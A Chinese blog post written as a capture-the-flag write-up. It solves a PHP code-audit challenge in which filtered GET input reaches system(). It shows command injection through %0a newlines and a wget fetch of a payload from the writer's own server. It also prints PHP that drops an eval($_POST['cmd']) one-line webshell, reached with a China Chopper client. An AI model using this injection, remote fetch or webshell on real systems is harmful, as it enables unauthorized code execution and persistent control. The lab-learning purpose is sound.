某省选拔赛

这道题是我在群里里面看到有老表发,于是自己突发奇想自己来做一下
顺便学习学习~

进入正题

<?php
show_source(__FILE__);
$arge = $_GET['arge'];
for ($i=0;$i<count($arge);$i++){
        if (!preg_match('/^\w+$/',$arge[$i]))//只能输入数字字母和下划线
        die("error");
}
//print_r($arge);
//echo '<br/>';
//echo "/bin/echo " . implode(" ",$arge);
//echo '<br/>';
system("/bin/echo " . implode(" ",$arge));
?>

很明显,这道题是代码审计。需要利用system函数来执行命令。
但是前面有一个echo命令,如果单纯的执行ls命令他就会直接输出ls

这里相当于就要绕过echo这个命令
方法一:使用反引号``

但是这个题过滤了特殊符号,只能输入数字字母和下划线。所以失败!

方法二:使用%0a进行换行操作执行命令
我们发现如果不管怎么输入都不会执行命令,那么我们可以直接换行执行命令。
就相当于一行一行的执行

system("/bin/echo  $a")
system("ls")

所以我们就使用%0a来表示换行。
%0a: 由于在字符串中换行(%0a)可以表示字符窜的结尾

我们发现当我们输入?arge[]=ls&arge[]=1
查看源代码发现确实 ls 和 1 在一排不能执行命令

而使用%0a换行进行操作就会执行命令
输入?arge[]=ls%0a&arge[]=whoami

发现换行了并且执行了命令

之后就可以执行命令了
如果flag是在flag.php里面则直接执行命令是没法获得flag的。
我们就通过wget命令下载一个包含执行PHP代码的index.html文件
然后用tar命令进行备份成webshell,之后在执行PHP webshell生成一句话木马。

1.mkdir test
2.cd test
3.wget ip(转换成10进制)
需要在自己服务器上面发一个index.php

<?php
$myfile=fopen("nice.php","w") or die("unable!");
$txt='<?php eval($_POST['cmd']);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>

4.tar cvf webshell test
(将test里面的文件备份到webshell里面)
5.php webshell
(执行PHP代码,之后会生成一个nice.php的一句话木马)
6.连接菜刀查看flag

参考https://blog.csdn.net/qq_20817327/article/details/77720823?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值